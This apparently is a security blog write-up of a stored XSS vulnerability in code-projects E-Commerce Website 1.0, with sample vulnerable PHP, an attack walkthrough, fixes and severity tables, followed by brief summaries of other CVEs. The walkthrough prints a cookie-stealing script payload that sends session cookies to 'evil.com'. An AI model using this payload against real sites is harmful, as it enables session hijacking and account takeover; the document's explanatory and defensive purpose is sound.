Jan 15, 2026·5 min read·34 visits
The 'E-Commerce Website 1.0' platform by code-projects allows anyone to add products via the `/pages/product_add.php` endpoint without proper authentication or input sanitization. Attackers can inject arbitrary JavaScript into the `prod_name`, `prod_desc`, or `prod_cost` fields. When a victim (like an admin) views the product list, the script executes, potentially leading to session hijacking or account takeover.
A classic Stored Cross-Site Scripting (XSS) vulnerability in code-projects E-Commerce Website 1.0 allows unauthenticated attackers to inject malicious JavaScript into product listings. This creates a persistent trap for any user—including administrators—who views the infected product pages.
In the world of open-source PHP projects, there is a special place for 'E-Commerce Website 1.0' by code-projects. It promises a simple platform for selling goods online. Unfortunately, it delivers a masterclass in how not to handle user input.
CVE-2025-12334 isn't some complex heap overflow or a race condition requiring nanosecond timing. It is the digital equivalent of leaving your store's front door unlocked, the safe open, and a sign on the counter saying 'Please rob us.'
The vulnerability lies in the most critical component of any shop: the inventory system. Specifically, the file responsible for adding new products (/pages/product_add.php) treats all user input as gospel truth, leading to a text-book Stored Cross-Site Scripting (XSS) flaw. If you can type <script>, you can own this platform.
The root cause here is Improper Neutralization of Input During Web Page Generation (CWE-79). In simpler terms, the application takes what you give it and smears it onto the screen for everyone else to see, without checking if you gave it a product name or a malicious payload.
Most modern frameworks handle this automatically. They sanitize inputs or escape outputs so that code is rendered as text. This application, however, appears to be written in 'Raw PHP from 2005' style.
Even worse, reports indicate that accessing /pages/product_add.php might not even require authentication. This means an attacker doesn't even need to buy a product or create an account; they can simply navigate to the URL and start poisoning the database. The application fails to validate the prod_name, prod_desc, and prod_cost parameters, assuming users will only enter text and numbers. Users, as we know, are not that benevolent.
Let's look at the anatomy of this disaster. While the specific source code isn't fully disclosed in a git diff, the behavior describes a very specific, common pattern in vulnerable PHP applications.
The code likely grabs POST data and shoves it directly into a SQL query string. It looks something like this:
// pages/product_add.php
// 1. Receive dirty input directly from the global $_POST array
$name = $_POST['prod_name'];
$desc = $_POST['prod_desc'];
$cost = $_POST['prod_cost'];
// 2. Insert into Database WITHOUT sanitization or prepared statements
// This creates both XSS and SQL Injection risks
$query = "INSERT INTO products (prod_name, prod_desc, prod_cost) VALUES ('$name', '$desc', '$cost')";
$mysqli->query($query);Later, when an admin checks their inventory in product_list.php, the application echoes that data back out:
// pages/product_list.php
while($row = $result->fetch_assoc()) {
// The browser sees the <script> tag and executes it immediately
echo "<tr><td>" . $row['prod_name'] . "</td>...</tr>";
}This is the "Smoking Gun." The lack of htmlspecialchars() or htmlentities() on the output, combined with the lack of input filtering, completes the attack chain.
Because this is Stored XSS, the attack is asynchronous. The attacker plants the mine, and the victim steps on it later. Here is how a researcher—or an attacker—would verify this:
1. Scout the Target
The attacker navigates to http://target-site.com/pages/product_add.php. If the developers were truly lazy, this page is accessible without logging in.
2. Craft the Payload The attacker fills out the form. Instead of naming the product "Red T-Shirt", they name it:
<script>fetch('http://evil.com/steal?cookie='+document.cookie)</script>They might also inject into the prod_cost field, knowing that developers often forget to validate that a price is actually a number.
3. The Trap is Set The attacker clicks "Save". The database now stores that script tag as the product name.
4. Execution
An administrator logs in to check why a new product appeared. The moment the product_list.php page loads, the browser parses the malicious name. The script executes silently, sending the admin's session ID (cookies) to the attacker's server (evil.com). The attacker can now impersonate the admin.
Fixing this requires a defense-in-depth approach. You cannot rely on just one layer.
1. Output Encoding (The Silver Bullet)
The most effective fix for XSS is to treat all user content as text, not code. In PHP, this means wrapping variables in htmlspecialchars() before echoing them:
// The Fixed View Logic
echo "<td>" . htmlspecialchars($row['prod_name'], ENT_QUOTES, 'UTF-8') . "</td>";This converts <script> into <script>, which displays safely in the browser but does not execute.
2. Input Validation
Ensure prod_cost is actually a number/float. If someone tries to send text for a price, reject the request entirely.
3. Access Control
Restrict access to /pages/product_add.php. Only authenticated administrators should be able to reach this endpoint. This reduces the attack surface significantly.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
E-Commerce Website code-projects | = 1.0 | None |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (Cross-Site Scripting) |
| CVSS v3.1 | 4.3 (Medium) |
| CVSS v4.0 | 5.3 (Medium) |
| Attack Vector | Network (Remote) |
| Attack Complexity | Low |
| Privileges Required | None (Unauthenticated) |
| Exploit Status | Public PoC Available |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-116582 is an improper output escaping vulnerability in the Seroval JavaScript serialization library that leads to cross-site scripting (XSS). When Seroval serializes RegExp objects into executable JavaScript literals for embedding in HTML script elements, it fails to neutralize the less-than character ('<'). If an application constructs a regular expression from untrusted input and embeds the serialized output inside an inline script block during server-side rendering (SSR), an attacker can inject a closing script tag to break out of the JavaScript context and execute arbitrary client-side code.
CVE-2026-116583 (GHSA-f86p-h4j2-7qgj) is a code injection and cross-site scripting (XSS) vulnerability in Seroval, a JavaScript object serialization library. In versions 1.6.0 prior to 1.6.11, Seroval derives the constructor name of a TypedArray directly from the `current.constructor.name` property expression during serialization. If an attacker supplies untrusted properties that are merged onto a TypedArray instance, an own `constructor` property overrides the prototype property and gets emitted unescaped after the `new` keyword in the generated JavaScript output. Evaluating or rendering this output in a browser or JavaScript runtime results in arbitrary code execution.
An improper input validation and NoSQL query construction vulnerability exists in the Waline comment system server (@waline/vercel) version 1.40.3 and earlier. When MongoDB is used as the backend storage engine, the POST /api/token authentication endpoint fails to validate that the user-supplied email parameter is a string. Supplying a JSON object or array operator causes the MongoDB storage adapter to omit the email filter or construct an unintended match-all query, returning all user records and allowing unauthenticated attackers to target the site administrator account directly without knowing the administrator's email address.
An uncontrolled resource consumption vulnerability in the knative.dev/pkg/webhook package allows network-adjacent attackers within a Kubernetes cluster to trigger Out-Of-Memory (OOM) terminations of admission controller pods. The admission webhook HTTP server processes incoming AdmissionReview requests through an io.TeeReader and json.Decoder pipeline without enforcing an upper bound on request body size. Due to internal buffer reallocation mechanics, incoming payloads experience a 4.5x memory amplification factor. Because knative.dev/pkg provides the shared webhook server foundation for numerous cloud-native projects—including Knative Serving, Knative Eventing, Tekton, KEDA, Sigstore Policy Controller, and Kpack—exploitation can halt resource admission across entire Kubernetes clusters or bypass critical security validation policies.
CVE-2026-115923 (GHSA-w658-mh9p-ww8f) is a path traversal and access control bypass vulnerability in Spotify's Backstage developer portal framework, specifically within the @backstage/plugin-catalog-backend package. Prior to patched versions, DefaultCatalogRulesEnforcer evaluated user-supplied URL catalog locations against configured catalog.rules patterns using raw, uncanonicalized strings. Because downstream URL readers canonicalize URLs and resolve dot segments before fetching resources, an authenticated attacker with location registration permissions can supply percent-encoded traversal sequences (such as %2e%2e) to bypass location restrictions and register untrusted catalog entities.
CVE-2026-116576 (GHSA-3f7j-7jwc-fxfj) is an OS Command Injection vulnerability (CWE-78) in the Node.js systeminformation library prior to version 5.33.16 on Microsoft Windows. The services() API function dynamically constructs a PowerShell Get-CimInstance command using caller-supplied service names passed through sanitizeShellString(). While the sanitizer strips standard ASCII quotation marks, it permits Unicode typographic quotation marks (U+2018 through U+201E). Because the Windows PowerShell tokenizer recognizes Unicode quotation marks as valid string literal delimiters, an attacker who controls the service name input can break out of the CIM filter string and execute arbitrary PowerShell commands within the security context of the Node.js process.